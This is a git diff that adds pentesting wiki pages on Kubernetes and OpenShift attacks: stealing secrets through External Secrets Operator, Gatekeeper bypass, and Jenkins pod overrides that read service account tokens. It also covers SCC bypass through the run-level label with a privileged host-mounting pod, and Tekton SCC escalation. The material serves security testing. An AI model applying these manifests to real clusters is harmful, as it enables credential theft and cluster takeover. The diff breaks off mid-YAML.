diff --git a/.gitbook/assets/05-constraints.png b/.gitbook/assets/05-constraints.png new file mode 100644 index 0000000000..ca5fde7c5c Binary files /dev/null and b/.gitbook/assets/05-constraints.png differ diff --git a/.gitbook/assets/Managing SCCs in OpenShift-1.png b/.gitbook/assets/Managing SCCs in OpenShift-1.png new file mode 100644 index 0000000000..008f2905a8 Binary files /dev/null and b/.gitbook/assets/Managing SCCs in OpenShift-1.png differ diff --git a/.gitbook/assets/Openshift-RunLevel4.png b/.gitbook/assets/Openshift-RunLevel4.png new file mode 100644 index 0000000000..50cfdfb4c0 Binary files /dev/null and b/.gitbook/assets/Openshift-RunLevel4.png differ diff --git a/.gitbook/assets/openshift-missing-service-account-image1.png b/.gitbook/assets/openshift-missing-service-account-image1.png new file mode 100644 index 0000000000..0a4a041e1e Binary files /dev/null and b/.gitbook/assets/openshift-missing-service-account-image1.png differ diff --git a/.gitbook/assets/openshift-missing-service-account-image2.png b/.gitbook/assets/openshift-missing-service-account-image2.png new file mode 100644 index 0000000000..be0a6bd7cf Binary files /dev/null and b/.gitbook/assets/openshift-missing-service-account-image2.png differ diff --git a/SUMMARY.md b/SUMMARY.md index 63e09522d2..c111c6d7e1 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -59,10 +59,13 @@ * [Pod Escape Privileges](pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md) * [Kubernetes Roles Abuse Lab](pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/kubernetes-roles-abuse-lab.md) * [Kubernetes Namespace Escalation](pentesting-cloud/kubernetes-security/kubernetes-namespace-escalation.md) + * [Kubernetes Namespace Escalation](pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md) * [Kubernetes Pivoting to Clouds](pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md) * [Kubernetes Network Attacks](pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md) * [Kubernetes Hardening](pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md) * [Kubernetes SecurityContext(s)](pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md) + * [Kubernetes - OPA Gatekeeper](pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md) + * [Kubernetes - OPA Gatekeeper bypass](pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md) * [GCP Pentesting](pentesting-cloud/gcp-security/README.md) * [GCP - Basic Information](pentesting-cloud/gcp-security/gcp-basic-information/README.md) * [GCP - Federation Abuse](pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md) @@ -423,6 +426,14 @@ * [IBM - Hyper Protect Crypto Services](pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-crypto-services.md) * [IBM - Hyper Protect Virtual Server](pentesting-cloud/ibm-cloud-pentesting/ibm-hyper-protect-virtual-server.md) * [IBM - Basic Information](pentesting-cloud/ibm-cloud-pentesting/ibm-basic-information.md) +* [OpenShift Pentesting](pentesting-cloud/openshift-pentesting/README.md) + * [OpenShift - Basic information](pentesting-cloud/openshift-pentesting/openshift-basic-information.md) + * [Openshift - SCC](pentesting-cloud/openshift-pentesting/openshift-scc.md) + * [OpenShift - Jenkins](pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md) + * [OpenShift - Privilege Escalation](pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md) + * [OpenShift - Missing Service Account](pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md) + * [OpenShift - Tekton](pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md) + * [OpenShift - SCC bypass](pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md) ## 🛫 Pentesting Network Services diff --git a/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 7131eae35b..eb31216051 100644 --- a/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -663,6 +663,12 @@ patches = append(patches, patchOperation{ The above snippet replaces the first container image in every pod with `rewanthtammana/malicious-image`. +## OPA Gatekeeper bypass + +{% content-ref url="../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md" %} +[kubernetes-opa-gatekeeper-bypass.md](../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md) +{% endcontent-ref %} + ## Best Practices ### **Disabling Automount of Service Account Tokens** diff --git a/pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md b/pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md new file mode 100644 index 0000000000..446545efba --- /dev/null +++ b/pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md @@ -0,0 +1,118 @@ +# External Secret Operator + +**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/) + +This page gives some pointers onto how you can achieve to steal secrets from a misconfigured ESO or application which uses ESO to sync its secrets. + +## Disclaimer + +The technique showed below can only work when certain circumstances are met. For instance, it depends on the requirements needed to allow a secret to be synched on a namespace that you own / compromised. You need to figure it out by yourself. + +## Prerequisites + +1. A foothold in a kubernetes / openshift cluster with admin privileges on a namespace +2. Read access on at least ExternalSecret at cluster level +3. Figure out if there are any required labels / annotations or group membership needed which allows ESO to sync your secret. If you're lucky, you can freely steal any defined secret. + +### Gathering information about existing ClusterSecretStore + +Assuming that you have a users which has enough rights to read this resource; start by first listing existing _**ClusterSecretStores**_. + +```sh +kubectl get ClusterSecretStore +``` + +### ExternalSecret enumeration + +Let's assume you found a ClusterSecretStore named _**mystore**_. Continue by enumerating its associated externalsecret. + +```sh +kubectl get externalsecret -A | grep mystore +``` + +_This resource is namespace scoped so unless you already know which namespace to look for, add the -A option to look across all namespaces._ + + + +You should get a list of defined externalsecret. Let's assume you found an externalsecret object called _**mysecret**_ defined and used by namespace _**mynamespace**_. Gather a bit more information about what kind of secret it holds. + +```sh +kubectl get externalsecret myexternalsecret -n mynamespace -o yaml +``` + +### Assembling the pieces + +From here you can get the name of one or multiple secret names (such as defined in the Secret resource). You will an output similar to: + +```yaml +kind: ExternalSecret +metadata: + annotations: + ... + labels: + ... +spec: + data: + - remoteRef: + conversionStrategy: Default + decodingStrategy: None + key: SECRET_KEY + secretKey: SOME_PASSWORD + ... +``` + +So far we got: + +* Name a ClusterSecretStore +* Name of an ExternalSecret +* Name of the secret + +Now that we have everything we need, you can create an ExternalSecret (and eventually patch/create a new Namespace to comply with prerequisites needed to get your new secret synced ): + +```yaml +kind: ExternalSecret +metadata: + name: myexternalsecret + namespace: evilnamespace +spec: + data: + - remoteRef: + conversionStrategy: Default + decodingStrategy: None + key: SECRET_KEY + secretKey: SOME_PASSWORD + refreshInterval: 30s + secretStoreRef: + kind: ClusterSecretStore + name: mystore + target: + creationPolicy: Owner + deletionPolicy: Retain + name: leaked_secret +``` + +```yaml + kind: Namespace + metadata: + annotations: + required_annotation: value + other_required_annotation: other_value + labels: + required_label: somevalue + other_required_label: someothervalue + name: evilnamespace +``` + +After a few mins, if sync conditions were met, you should be able to view the leaked secret inside your namespace + +```sh +kubectl get secret leaked_secret -o yaml +``` + + + +## References + +{% embed url="https://external-secrets.io/latest/" %} + +{% embed url="https://github.com/external-secrets/external-secrets" %} diff --git a/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md b/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md new file mode 100644 index 0000000000..8625300e4d --- /dev/null +++ b/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md @@ -0,0 +1,76 @@ +# Kubernetes - OPA Gatekeeper + +**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-c-ab4b9a196/en) + +## Definition + +Open Policy Agent (OPA) Gatekeeper is a tool used to enforce admission policies in Kubernetes. These policies are defined using Rego, a policy language provided by OPA. Below is a basic example of a policy definition using OPA Gatekeeper: + +```rego +regoCopy codepackage k8srequiredlabels + +violation[{"msg": msg}] { + provided := {label | input.review.object.metadata.labels[label]} + required := {label | label := input.parameters.labels[label]} + missing := required - provided + count(missing) > 0 + msg := sprintf("Required labels missing: %v", [missing]) +} + +default allow = false +``` + +This Rego policy checks if certain labels are present on Kubernetes resources. If the required labels are missing, it returns a violation message. This policy can be used to ensure that all resources deployed in the cluster have specific labels. + +## Apply Constraint + +To use this policy with OPA Gatekeeper, you would define a **ConstraintTemplate** and a **Constraint** in Kubernetes: + +```yaml +apiVersion: templates.gatekeeper.sh/v1beta1 +kind: ConstraintTemplate +metadata: + name: k8srequiredlabels +spec: + crd: + spec: + names: + kind: K8sRequiredLabels + targets: + - target: admission.k8s.gatekeeper.sh + rego: | + package k8srequiredlabels + violation[{"msg": msg}] { + provided := {label | input.review.object.metadata.labels[label]} + required := {label | label := input.parameters.labels[label]} + missing := required - provided + count(missing) > 0 + msg := sprintf("Required labels missing: %v", [missing]) + } + + default allow = false +``` + +```yaml +apiVersion: constraints.gatekeeper.sh/v1beta1 +kind: K8sRequiredLabels +metadata: + name: ensure-pod-has-label +spec: + match: + kinds: + - apiGroups: [""] + kinds: ["Pod"] + parameters: + labels: + requiredLabel1: "true" + requiredLabel2: "true" +``` + +In this YAML example, we define a **ConstraintTemplate** to require labels. Then, we name this constraint `ensure-pod-has-label`, which references the `k8srequiredlabels` ConstraintTemplate and specifies the required labels. + +When Gatekeeper is deployed in the Kubernetes cluster, it will enforce this policy, preventing the creation of pods that do not have the specified labels. + +## References + +* [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper) diff --git a/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md b/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md new file mode 100644 index 0000000000..0c692328bd --- /dev/null +++ b/pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md @@ -0,0 +1,55 @@ +# Kubernetes - OPA Gatekeeper bypass + +**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-c-ab4b9a196/en) + +## Abusing misconfiguration + +### Enumerate rules + +Having an overview may help to know which rules are active, on which mode and who can bypass it. + +#### With the CLI + +```bash +$ kubectl api-resources | grep gatekeeper +k8smandatoryannotations constraints.gatekeeper.sh/v1beta1 false K8sMandatoryAnnotations +k8smandatorylabels constraints.gatekeeper.sh/v1beta1 false K8sMandatoryLabel +constrainttemplates templates.gatekeeper.sh/v1 false ConstraintTemplate +``` + +**ConstraintTemplate** and **Constraint** can be used in Open Policy Agent (OPA) Gatekeeper to enforce rules on Kubernetes resources. + +```bash +$ kubectl get constrainttemplates +$ kubectl get k8smandatorylabels +``` + +#### With the GUI + +A Graphic User Interface may also be available to access the OPA rules with **Gatekeeper Policy Manager.** It is "a simple _read-only_ web UI for viewing OPA Gatekeeper policies' status in a Kubernetes Cluster." + +
+ +Search for the exposed route : + +```bash +$ kubectl get services -A | grep gatekeeper +$ kubectl get services -A | grep 'gatekeeper-policy-manager-system' +``` + +### Excluded namespaces + +As illustrated in the image above, certain rules may not be applied universally across all namespaces or users. Instead, they operate on a whitelist basis. For instance, the `liveness-probe` constraint is excluded from applying to the five specified namespaces. + +### Bypass + +With a comprehensive overview of the Gatekeeper configuration, it's possible to identify potential misconfigurations that could be exploited to gain privileges. Look for whitelisted or excluded namespaces where the rule doesn't apply, and then carry out your attack there. + +{% content-ref url="../abusing-roles-clusterroles-in-kubernetes/" %} +[abusing-roles-clusterroles-in-kubernetes](../abusing-roles-clusterroles-in-kubernetes/) +{% endcontent-ref %} + +## References + +* [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper) +* [https://github.com/sighupio/gatekeeper-policy-manager](https://github.com/sighupio/gatekeeper-policy-manager) diff --git a/pentesting-cloud/openshift-pentesting/README.md b/pentesting-cloud/openshift-pentesting/README.md new file mode 100644 index 0000000000..8be91bbad5 --- /dev/null +++ b/pentesting-cloud/openshift-pentesting/README.md @@ -0,0 +1,19 @@ +# OpenShift Pentesting + +## Basic Information + +{% content-ref url="openshift-basic-information.md" %} +[openshift-basic-information.md](openshift-basic-information.md) +{% endcontent-ref %} + +## Security Context Constraints + +{% content-ref url="openshift-scc.md" %} +[openshift-scc.md](openshift-scc.md) +{% endcontent-ref %} + +## Privilege Escalation + +{% content-ref url="openshift-privilege-escalation/" %} +[openshift-privilege-escalation](openshift-privilege-escalation/) +{% endcontent-ref %} diff --git a/pentesting-cloud/openshift-pentesting/openshift-basic-information.md b/pentesting-cloud/openshift-pentesting/openshift-basic-information.md new file mode 100644 index 0000000000..db318f78da --- /dev/null +++ b/pentesting-cloud/openshift-pentesting/openshift-basic-information.md @@ -0,0 +1,39 @@ +# OpenShift - Basic information + +## Kubernetes prior b**asic knowledge** + +Before working with OpenShift, ensure you are comfortable with the Kubernetes environment. The entire OpenShift chapter assumes you have prior knowledge of Kubernetes. + +## OpenShift - Basic Information + +### Introduction + +OpenShift is Red Hat’s container application platform that offers a superset of Kubernetes features. OpenShift has stricter security policies. For instance, it is forbidden to run a container as root. It also offers a secure-by-default option to enhance security. OpenShift, features an web console which includes a one-touch login page. + +#### CLI + +OpenShift come with a it's own CLI, that can be found here: + +{% embed url="https://docs.openshift.com/container-platform/4.11/cli_reference/openshift_cli/getting-started-cli.html" %} + +To login using the CLI: + +``` +oc login -u= -p= -s= +oc login -s= --token= +``` + +### + +### **OpenShift - Security Context Constraints** + +In addition to the [RBAC resources](https://docs.openshift.com/container-platform/3.11/architecture/additional\_concepts/authorization.html#architecture-additional-concepts-authorization) that control what a user can do, OpenShift Container Platform provides _security context constraints_ (SCC) that control the actions that a pod can perform and what it has the ability to access. + +SCC is a policy object that has special rules that correspond with the infrastructure itself, unlike RBAC that has rules that correspond with the Platform. It helps us define what Linux access-control features the container should be able to request/run. Example: Linux Capabilities, SECCOMP profiles, Mount localhost dirs, etc. + +{% content-ref url="openshift-scc.md" %} +[openshift-scc.md](openshift-scc.md) +{% endcontent-ref %} + +{% embed url="https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#security-context-constraints" %} + diff --git a/pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md b/pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md new file mode 100644 index 0000000000..195782997a --- /dev/null +++ b/pentesting-cloud/openshift-pentesting/openshift-jenkins/README.md @@ -0,0 +1,39 @@ +# Jenkins in Openshift + +**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/) + +This page gives some pointers onto how you can attack a Jenkins instance running in an Openshift (or Kubernetes) cluster + + +## Disclaimer + +A Jenkins instance can be deployed in both Openshift or Kubernetes cluster. Depending in your context, you may need to adapt any shown payload, yaml or technique. For more information about attacking jenkins you can have a look at [this page](../../../pentesting-ci-cd/jenkins-security/README.md) + +## Prerequisites + +1a. User acces in a Jenkins instance +OR +1b. User access with write permission to an SCM repository where an automated build is triggered after a push/merge + +## How it works + +Fundamentally, almost everything behind the scenes works the same as a regular Jenkins instance running in a VM. +The main difference is the overall architecture and how builds are managed inside an openshift (or kubernetes) cluster. + +### Builds + +When a build is triggered, it is first managed/orchestrated by the jenkins master node then delegated to an agent/slave/worker. In this context, the master node is just a regular pod running in a namespace (which might be different that the one where workers run). The same applies for the workers/slaves, however they destroyed once the build finished whereas the master always stays up. +Your build is usually run inside a pod, using a default pod template defined by the jenkins admins. + +### Triggering a build + +You have multiples main ways to trigger a build such as: + +1. You have UI access to jenkins + +A very easy and convenient way is to use the Replay functionnality of an existing build. It allows you to replay a previously executed build while allowing you to update the groovy script. This requires privileges on a jenkins folder and a predefined pipeline. +If you need to be stealthy, you can delete your triggered builds if you have enough permission. + +2. You have write access to the SCM and automated builds are configured via webhook + +You can just edit a build script (such as Jenkinsfile), commit and push (eventually create a PR if builds are only triggered on PR merges). Keep in mind that this path is very noisy and need elevated privileges to clean your tracks. diff --git a/pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md b/pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md new file mode 100644 index 0000000000..15ef981b44 --- /dev/null +++ b/pentesting-cloud/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md @@ -0,0 +1,274 @@ +# Jenkins in Openshift - build pod overrides + +**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/) + +## Kubernetes plugin for Jenkins +This plugin is mostly responsible of Jenkins core functions inside an openshift/kubernetes cluster. Official documentation [here](https://plugins.jenkins.io/kubernetes/) +It offers a few functionnalities such as the ability for developers to override some default configurations of a jenkins build pod. + +## Core functionnality + +This plugin allows flexibility to developers when building their code in adequate environment. + +```groovy +podTemplate(yaml: ''' + apiVersion: v1 + kind: Pod + spec: + containers: + - name: maven + image: maven:3.8.1-jdk-8 + command: + - sleep + args: + - 99d +''') { + node(POD_LABEL) { + stage('Get a Maven project') { + git 'https://github.com/jenkinsci/kubernetes-plugin.git' + container('maven') { + stage('Build a Maven project') { + sh 'mvn -B -ntp clean install' + } + } + } + } +} +``` + +## Some abuses leveraging pod yaml override + +It can however be abused to use any accessible image such as Kali Linux and execute arbritrary commands using preinstalled tools from that image. +In the example below we can exfiltrate the serviceaccount token of the running pod. + +```groovy +podTemplate(yaml: ''' + apiVersion: v1 + kind: Pod + spec: + containers: + - name: kali + image: myregistry/mykali_image:1.0 + command: + - sleep + args: + - 1d +''') { + node(POD_LABEL) { + stage('Evil build') { + container('kali') { + stage('Extract openshift token') { + sh 'cat /run/secrets/kubernetes.io/serviceaccount/token' + } + } + } + } +} +``` + +A different synthax to achieve the same goal. + +```groovy +pipeline { + stages { + stage('Process pipeline') { + agent { + kubernetes { + yaml """ + spec: + containers: + - name: kali-container + image: myregistry/mykali_image:1.0 + imagePullPolicy: IfNotPresent + command: + - sleep + args: + - 1d + """ + } + } + stages { + stage('Say hello') { + steps { + echo 'Hello from a docker container' + sh 'env' + } + } + } + } + } +} +``` + +Sample to override the namespace of the pod +```groovy +pipeline { + stages { + stage('Process pipeline') { + agent { + kubernetes { + yaml """ + metadata: + namespace: RANDOM-NAMESPACE + spec: + containers: + - name: kali-container + image: myregistry/mykali_image:1.0 + imagePullPolicy: IfNotPresent + command: + - sleep + args: + - 1d + """ + } + } + stages { + stage('Say hello') { + steps { + echo 'Hello from a docker container' + sh 'env' + } + } + } + } + } +} +``` + +Another example which tries mounting a serviceaccount (which may have more permissions than the default one, running your build) based on its name. You may need to guess or enumerate existing serviceaccounts first. + +```groovy +pipeline { + stages { + stage('Process pipeline') { + agent { + kubernetes { + yaml """ + spec: + serviceAccount: MY_SERVICE_ACCOUNT + containers: + - name: kali-container + image: myregistry/mykali_image:1.0 + imagePullPolicy: IfNotPresent + command: + - sleep + args: + - 1d + """ + } + } + stages { + stage('Say hello') { + steps { + echo 'Hello from a docker container' + sh 'env' + } + } + } + } + } +} +``` + +The same technique applies to try mounting a Secret. The end goal here would be to figure out how to configure your pod build to effectively pivot or gain privileges. + +## Going further + +Once you get used to play around with it, use your knowledge on Jenkins and Kubernetes/Openshift to find misconfigurations / abuses. + +Ask yourself the following questions: + +- Which service account is being used to deploy build pods? +- What roles and permissions does it have? Can it read secrets of the namespace I am currently in? +- Can I further enumerate other build pods? +- From a compromised sa, can I execute commands on the master node/pod? +- Can I further enumerate the cluster to pivot elsewhere? +- Which SCC is applied? + +You can find out which oc/kubectl commands to issue [here](../openshift-basic-information.md) and [here](../../kubernetes-security/kubernetes-enumeration.md). + +### Possible privesc/pivoting scenarios + +Let's assume that during your assessment you found out that all jenkins builds run inside a namespace called _worker-ns_. You figured out that a default serviceaccount called _default-sa_ is mounted on the build pods, however it does not have so many permissions except read access on some resources but you were able to identify an existing service account called _master-sa_. +Let's also assume that you have the oc command installed inside the running build container. + +With the below build script you can take control of the _master-sa_ serviceaccount and enumerate further. +```groovy +pipeline { + stages { + stage('Process pipeline') { + agent { + kubernetes { + yaml """ + spec: + serviceAccount: master-sa + containers: + - name: evil + image: random_image:1.0 + imagePullPolicy: IfNotPresent + command: + - sleep + args: + - 1d + """ + } + } + stages { + stage('Say hello') { + steps { + sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)' + sh 'oc --token=$token whoami' + } + } + } + } + } +} +``` +Depending on your access, either you need to continue your attack from the build script or you can directly login as this sa on the running cluster: +```bash +oc login --token=$token --server=https://apiserver.com:port +``` + + +If this sa has enough permission (such as pod/exec), you can also take control of the whole jenkins instance by executing commands inside the master node pod, if it's running within the same namespace. You can easily identify this pod via its name and by the fact that it must be mounting a PVC (persistant volume claim) used to store jenkins data. + +```bash +oc rsh pod_name -c container_name +``` + +In case the master node pod is not running within the same namespace as the workers you can try similar attacks by targetting the master namespace. Let's assume its called _jenkins-master_. Keep in mind that serviceAccount master-sa needs to exist on the _jenkins-master_ namespace (and might not exist in _worker-ns_ namespace) + +```groovy +pipeline { + stages { + stage('Process pipeline') { + agent { + kubernetes { + yaml """ + metadata: + namespace: jenkins-master + spec: + serviceAccount: master-sa + containers: + - name: evil-build + image: myregistry/mykali_image:1.0 + imagePullPolicy: IfNotPresent + command: + - sleep + args: + - 1d + """ + } + } + stages { + stage('Say hello') { + steps { + echo 'Hello from a docker container' + sh 'env' + } + } + } + } + } +} diff --git a/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md b/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md new file mode 100644 index 0000000000..7e5040e3fd --- /dev/null +++ b/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md @@ -0,0 +1,19 @@ +# OpenShift - Privilege Escalation + +## Missing Service Account + +{% content-ref url="openshift-missing-service-account.md" %} +[openshift-missing-service-account.md](openshift-missing-service-account.md) +{% endcontent-ref %} + +## Tekton + +{% content-ref url="openshift-tekton.md" %} +[openshift-tekton.md](openshift-tekton.md) +{% endcontent-ref %} + +## SCC Bypass + +{% content-ref url="openshift-scc-bypass.md" %} +[openshift-scc-bypass.md](openshift-scc-bypass.md) +{% endcontent-ref %} diff --git a/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md b/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md new file mode 100644 index 0000000000..57dee34368 --- /dev/null +++ b/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md @@ -0,0 +1,21 @@ +# OpenShift - Missing Service Account + +## Missing Service Account + +It happens that cluster is deployed with preconfigured template automatically setting Roles, RoleBindings and even SCC to service account that is not yet created. This can lead to privilege escalation in the case where you can create them. In this case, you would be able to get the token of the SA newly created and the role or SCC associated. Same case happens when the missing SA is part of a missing project, in this case if you can create the project and then the SA you get the Roles and SCC associated. + +
+ +In the previous graph we got multiple AbsentProject meaning multiple project that appears in Roles Bindings or SCC but are not yet created in the cluster. In the same vein we also got an AbsentServiceAccount. + +If we can create a project and the missing SA in it, the SA will inherited from the Role or the SCC that were targeting the AbsentServiceAccount. Which can lead to privilege escalation. + +The following example show a missing SA which is granted node-exporter SCC: + +
+ +## Tools + +The following tool can be use to enumerate this issue and more generally to graph an OpenShift cluster: + +{% embed url="https://github.com/maxDcb/OpenShiftGrapher" %} diff --git a/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md b/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md new file mode 100644 index 0000000000..1296420024 --- /dev/null +++ b/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md @@ -0,0 +1,138 @@ +# Openshift - SCC bypass + +**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-c-ab4b9a196/en) + +## Privileged Namespaces + +By default, SCC does not apply on following projects : + +* **default** +* **kube-system** +* **kube-public** +* **openshift-node** +* **openshift-infra** +* **openshift** + +If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system. + +## Namespace Label + +There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission : + +* Create a Namespace and Create a Pod on this Namespace +* Edit a Namespace and Create a Pod on this Namespace + +```bash +$ oc auth can-i create namespaces + yes + +$ oc auth can-i patch namespaces + yes +``` + +The specific label`openshift.io/run-level` enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions. + +
+ +## Add Label + +To add the label in your namespace : + +```bash +$ oc label ns MYNAMESPACE openshift.io/run-level=0 +``` + +To create a namespace with the label through a YAML file: + +```yaml +apiVersion: v1 +kind: Namespace +metadata: + name: evil + labels: + openshift.io/run-level: 0 +``` + +Now, all new pods created on the namespace should not have any SCC + +
$ oc get pod -o yaml | grep 'openshift.io/scc'
+$                                            
+
+ +In the absence of SCC, there are no restrictions on your pod definition. This means that a malicious pod can be easily created to escape onto the host system. + +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: evilpod + labels: + kubernetes.io/hostname: evilpod +spec: + hostNetwork: true #Bind pod network to the host network + hostPID: true #See host processes + hostIPC: true #Access host inter processes + containers: + - name: evil + image: MYIMAGE + imagePullPolicy: IfNotPresent + securityContext: + privileged: true + allowPrivilegeEscalation: true + resources: + limits: + memory: 200Mi + requests: + cpu: 30m + memory: 100Mi + volumeMounts: + - name: hostrootfs + mountPath: /mnt + volumes: + - name: hostrootfs + hostPath: + path: +``` + +Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for **Node-Post Exploitation** part in the following page : + +{% content-ref url="../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md" %} +[attacking-kubernetes-from-inside-a-pod.md](../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md) +{% endcontent-ref %} + +### Custom labels + +Furthermore, based on the target setup, some custom labels / annotations may be used in the same way as the previous attack scenario. Even if it is not made for, labels could be used to give permissions, restrict or not a specific resource. + +Try to look for custom labels if you can read some resources. Here a list of interesting resources : + +* Pod +* Deployment +* Namespace +* Service +* Route + +```bash +$ oc get pod -o yaml | grep labels -A 5 +$ oc get namespace -o yaml | grep labels -A 5 +``` + +## List all privileged namespaces + +```bash +$ oc get project -o yaml | grep 'run-level' -b5 +``` + +## Advanced exploit + +In OpenShift, as demonstrated earlier, having permission to deploy a pod in a namespace with the `openshift.io/run-level`label can lead to a straightforward takeover of the cluster. From a cluster settings perspective, this functionality **cannot be disabled**, as it is inherent to OpenShift's design. + +However, mitigation measures like **Open Policy Agent GateKeeper** can prevent users from setting this label. + +To bypass GateKeeper's rules and set this label to execute a cluster takeover, **attackers would need to identify alternative methods.** + +## References + +* [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html) +* [https://docs.openshift.com/container-platform/3.11/admin\_guide/manage\_scc.html](https://docs.openshift.com/container-platform/3.11/admin\_guide/manage\_scc.html) +* [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper) diff --git a/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md b/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md new file mode 100644 index 0000000000..5d5d4ff531 --- /dev/null +++ b/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md @@ -0,0 +1,82 @@ +--- +description: >- + This page shows a privilege escalation scenario given that tekton is installed + in the cluster and that you can create a namespace (sometimes edit rights are + enough) +--- + +# OpenShift - Tekton + +**The original author of this page is** [**Haroun**](www.linkedin.com/in/haroun-al-mounayar-571830211) + +### What is tekton + +According to the doc: _Tekton is a powerful and flexible open-source framework for creating CI/CD systems, allowing developers to build, test, and deploy across cloud providers and on-premise systems._ Both Jenkins and Tekton can be used to test, build and deploy applications, however Tekton is Cloud Native. + +With Tekton everything is represented by YAML files. Developers can create Custom Resources (CR) of type `Pipelines` and specify multiple `Tasks` in them that they want to run. To run a Pipeline resources of type `PipelineRun` must be created. + +When tekton is installed a service account (sa) called pipeline is created in every namespace. When a Pipeline is ran, a pod will be spawned using this sa called `pipeline` to run the tasks defined in the YAML file. + +{% embed url="https://tekton.dev/docs/getting-started/pipelines/" %} +Tekton Doc about Pipelines +{% endembed %} + +### The Pipeline service account capabilities + +By default, the pipeline service account can use the `pipelines-scc` capability. This is due to the global default configuration of tekton. Actually, the global config of tekton is also a YAML in an openshift object called `TektonConfig` that can be seen if you have some reader roles in the cluster. + +```yaml +apiVersion: operator.tekton.dev/v1alpha1 +kind: TektonConfig +metadata: + name: config +spec: + ... + ... + platforms: + openshift: + scc: + default: "pipelines-scc" +``` + +In any namespace, if you can get the pipeline service account token you will be able to use `pipelines-scc`. + +### The Misconfig + +The problem is that the default scc that the pipeline sa can use is user controllable. This can be done using a label in the namespace definition. For instance, if I can create a namespace with the following yaml definition: + +```yaml +apiVersion: v1 +kind: Namespace +metadata: + name: test-namespace + annotations: + operator.tekton.dev/scc: privileged +``` + +The tekton operator will give to the pipeline service account in `test-namespace` the ability to use the scc privileged. This will allow the mounting of the node. + +### The fix + +Tekton documents about how to restrict the override of scc by adding a label in the `TektonConfig` object. + +{% embed url="https://tekton.dev/docs/operator/sccconfig/" %} +Tekton doc about scc +{% endembed %} + +This label is called `max-allowed` + +```yaml +apiVersion: operator.tekton.dev/v1alpha1 +kind: 